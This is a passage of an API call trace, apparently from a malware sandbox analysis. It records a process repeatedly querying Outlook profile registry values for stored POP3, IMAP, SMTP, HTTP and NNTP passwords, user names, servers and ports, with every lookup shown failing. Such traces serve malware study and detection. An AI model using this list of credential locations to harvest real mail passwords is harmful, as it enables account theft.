lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.523] RegCloseKey (hKey=0x71c) returned 0x0 [0096.523] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.523] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.523] RegCloseKey (hKey=0x71c) returned 0x0 [0096.523] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.523] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.523] RegCloseKey (hKey=0x71c) returned 0x0 [0096.523] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.524] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.524] RegCloseKey (hKey=0x71c) returned 0x0 [0096.524] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.524] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.524] RegCloseKey (hKey=0x71c) returned 0x0 [0096.524] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.524] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.524] RegCloseKey (hKey=0x71c) returned 0x0 [0096.524] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.524] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.524] RegCloseKey (hKey=0x71c) returned 0x0 [0096.524] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.524] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.524] RegCloseKey (hKey=0x71c) returned 0x0 [0096.524] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.524] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.524] RegCloseKey (hKey=0x71c) returned 0x0 [0096.525] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.525] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.525] RegCloseKey (hKey=0x71c) returned 0x0 [0096.525] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.525] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.525] RegCloseKey (hKey=0x71c) returned 0x0 [0096.525] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.525] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.525] RegCloseKey (hKey=0x71c) returned 0x0 [0096.525] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.525] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.525] RegCloseKey (hKey=0x71c) returned 0x0 [0096.525] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.525] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.525] RegCloseKey (hKey=0x71c) returned 0x0 [0096.525] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.525] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.526] RegCloseKey (hKey=0x71c) returned 0x0 [0096.526] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.526] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.526] RegCloseKey (hKey=0x71c) returned 0x0 [0096.526] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.526] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.526] RegCloseKey (hKey=0x71c) returned 0x0 [0096.526] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.526] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.526] RegCloseKey (hKey=0x71c) returned 0x0 [0096.526] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.526] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.526] RegCloseKey (hKey=0x71c) returned 0x0 [0096.526] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.526] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.526] RegCloseKey (hKey=0x71c) returned 0x0 [0096.526] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.526] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.527] RegCloseKey (hKey=0x71c) returned 0x0 [0096.527] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.527] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.527] RegCloseKey (hKey=0x71c) returned 0x0 [0096.527] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.527] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.527] RegCloseKey (hKey=0x71c) returned 0x0 [0096.527] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.527] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.527] RegCloseKey (hKey=0x71c) returned 0x0 [0096.527] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.527] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.527] RegCloseKey (hKey=0x71c) returned 0x0 [0096.527] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.527] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.527] RegCloseKey (hKey=0x71c) returned 0x0 [0096.527] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.527] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.527] RegCloseKey (hKey=0x71c) returned 0x0 [0096.527] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.528] RegQueryValueExA (in: hKey=0x71c, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.528] RegCloseKey (hKey=0x71c) returned 0x0 [0096.528] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.528] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.528] RegCloseKey (hKey=0x71c) returned 0x0 [0096.528] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.528] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.528] RegCloseKey (hKey=0x71c) returned 0x0 [0096.528] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.528] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.528] RegCloseKey (hKey=0x71c) returned 0x0 [0096.528] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.528] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.528] RegCloseKey (hKey=0x71c) returned 0x0 [0096.528] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.528] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.528] RegCloseKey (hKey=0x71c) returned 0x0 [0096.528] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.529] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.529] RegCloseKey (hKey=0x71c) returned 0x0 [0096.529] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.529] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.529] RegCloseKey (hKey=0x71c) returned 0x0 [0096.529] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.529] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.529] RegCloseKey (hKey=0x71c) returned 0x0 [0096.529] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.529] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.529] RegCloseKey (hKey=0x71c) returned 0x0 [0096.529] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.529] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.529] RegCloseKey (hKey=0x71c) returned 0x0 [0096.529] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.529] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.529] RegCloseKey (hKey=0x71c) returned 0x0 [0096.529] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.529] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.530] RegCloseKey (hKey=0x71c) returned 0x0 [0096.530] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.530] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.530] RegCloseKey (hKey=0x71c) returned 0x0 [0096.530] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.530] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.530] RegCloseKey (hKey=0x71c) returned 0x0 [0096.530] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.530] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.530] RegCloseKey (hKey=0x71c) returned 0x0 [0096.530] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.530] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.530] RegCloseKey (hKey=0x71c) returned 0x0 [0096.530] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.530] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.530] RegCloseKey (hKey=0x71c) returned 0x0 [0096.530] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.530] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.530] RegCloseKey (hKey=0x71c) returned 0x0 [0096.531] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.531] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.531] RegCloseKey (hKey=0x71c) returned 0x0 [0096.531] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.531] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, 